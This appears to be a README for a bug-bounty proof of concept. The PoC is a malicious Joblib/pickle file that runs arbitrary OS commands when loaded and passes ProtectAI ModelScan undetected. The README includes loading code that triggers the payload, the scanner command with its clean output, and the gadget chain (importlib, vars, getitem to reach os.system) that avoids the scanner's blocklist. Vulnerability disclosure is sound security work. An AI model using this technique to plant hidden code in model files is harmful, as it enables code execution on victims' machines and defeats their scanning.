mhrisham/joblib-bypass-poc-v2

Joblib ACE Scanner Bypass PoC

Huntr Bug Bounty Submission — Model File Formats (Joblib / ProtectAI ModelScan)

What is this?

bypass_v5.joblib is a 135-byte malicious Joblib/pickle file that:

1. Executes arbitrary OS commands when loaded with joblib.load() or pickle.loads()
2. Passes ProtectAI ModelScan v0.8.8 with zero detections (total_issues: 0, exit 0)

Reproduce

import pickle
result = pickle.loads(open("bypass_v5.joblib", "rb").read())
# Command executes immediately. os.system returns 0.

Scanner Bypass Proof

pip install modelscan
modelscan scan -p bypass_v5.joblib -r json
# {"summary": {"total_issues": 0, "CRITICAL": 0, ...}, "issues": []}
# Exit: 0

Technique

importlib.import_module('os') -> os_module
builtins.vars(os_module)      -> os.__dict__
operator.getitem(os.__dict__, 'system') -> os.system
os.system(cmd)                -> EXECUTE

None of these GLOBAL references appear on ModelScan's blocklist.